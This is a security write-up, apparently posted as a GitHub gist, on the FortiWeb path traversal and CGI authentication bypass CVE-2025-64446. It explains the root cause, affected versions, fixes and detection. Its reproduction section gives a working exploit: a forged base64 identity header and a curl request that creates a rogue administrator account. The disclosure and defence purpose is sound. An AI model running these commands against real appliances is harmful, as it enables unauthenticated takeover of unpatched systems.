Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Created November 14, 2025 20:43
Show Gist options
  • Select an option

  • Save N3mes1s/d882ee7ca4ddcad150f94b7460508a32 to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/d882ee7ca4ddcad150f94b7460508a32 to your computer and use it in GitHub Desktop.
FortiWeb Unauthenticated RCE via Path Traversal and CGI Auth Bypass CVE-2025-64446

Security Report - FortiWeb Unauthenticated RCE via Path Traversal and CGI Auth Bypass CVE-2025-64446

Summary

Fortinet assigned FG-IR-25-910 / CVE-2025-64446 to this issue on 14 Nov 2025, rating it Critical (CVSS 9.1) and confirming exploitation in the wild. The official advisory describes it as a “path confusion” (relative path traversal) in the FortiWeb GUI that lets an unauthenticated attacker execute administrative commands via crafted HTTP(S) requests. The mechanics match our findings: a traversal under /api/v2.0/… reaches /migadmin/cgi-bin/fwbcgi, and cgi_auth() blindly trusts the attacker-supplied HTTP_CGIINFO header to impersonate any administrator.

Root Cause

  1. Path traversal in Apache routinghttpd.conf registers <Location /api/v2.0/> SetHandler fwbcgi-handler. Apache matches the prefix before decoding %3f or collapsing /../, so /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi is forwarded straight to fwbcgi.
  2. cgi_auth() trusts client-supplied identity – Inside /migadmin/cgi-bin/fwbcgi (cgi_auth at 0x0005baf0) the CGI reads HTTP_CGIINFO, base64-decodes it, parses the JSON, and copies username, profname, vdom, and loginname into the login context with set_login_context_vsa(). There is no signature, password, or session lookup—the CGI runs whatever privileges the JSON claims. Combining the two bugs gives an unauthenticated RCE across all API actions handled by fwbcgi.

Fix Diff

No patch is available in-repo. Fortinet silently fixed the issue in FortiWeb 7.6.5 / 8.0.2 by rejecting traversal sequences under /api/* and hardening cgi_auth() to validate the impersonation header. Track upstream advisories for the official fix diff once Fortinet publishes it.

Release Status

  • IR / CVE: FG-IR-25-910 / CVE-2025-64446
  • Published: 14 Nov 2025 (Fortinet PSIRT)
  • Severity: Critical (CVSS 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C)
  • Affected branches (per advisory):
    • FortiWeb 8.0.0–8.0.1 (fixed in 8.0.2)
    • FortiWeb 7.6.0–7.6.4 (fixed in 7.6.5)
    • FortiWeb 7.4.0–7.4.9 (fixed in 7.4.10)
    • FortiWeb 7.2.0–7.2.11 (fixed in 7.2.12)
    • FortiWeb 7.0.0–7.0.11 (fixed in 7.0.12)
  • Exploit status: Observed in the wild (per PSIRT).

Reproduction

  1. Craft the impersonation header:
    CGIINFO=$(python3 - <<'PY'
    import base64, json
    payload = {"username":"admin","profname":"prof_admin","vdom":"root","loginname":"admin"}
    print(base64.b64encode(json.dumps(payload).encode()).decode())
    PY
    )
  2. Post a JSON payload via the traversal path (note the --path-as-is so curl doesn’t normalize %3f/../..):
    curl --path-as-is -sk \
      -H "CGIINFO: $CGIINFO" \
      -H 'Content-Type: application/json' \
      --data '{"data":{"q_type":1,"name":"watchtowr","access-profile":"prof_admin","password":"watchtowr"}}' \
      'https://<target>/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi'
  3. The appliance responds HTTP/1.1 200 OK with the new admin user’s JSON, proving unauthenticated control.

Recommendations

  1. Upgrade – Follow Fortinet’s guidance and move to the fixed releases listed above (e.g., 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12). Treat this as urgent due to confirmed exploitation.
  2. Canonicalize API paths before dispatch – Apache (or any reverse proxy) should URL-decode and resolve .. segments before <Location> matching; reject encoded delimiters or upward traversal.
  3. Authenticate cgi_auth() properly – Require a signed/session-derived token rather than trusting arbitrary JSON in HTTP_CGIINFO.
  4. Network hardening / workaround – PSIRT advises disabling HTTP/HTTPS on internet-facing interfaces until patched; ensure GUI access is limited to internal networks.
  5. Monitor and investigate – Hunt for requests containing %3f/../ under /api/ or unexpected HTTP_CGIINFO headers, and review configurations for unauthorized admin accounts as Fortinet recommends post-upgrade.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment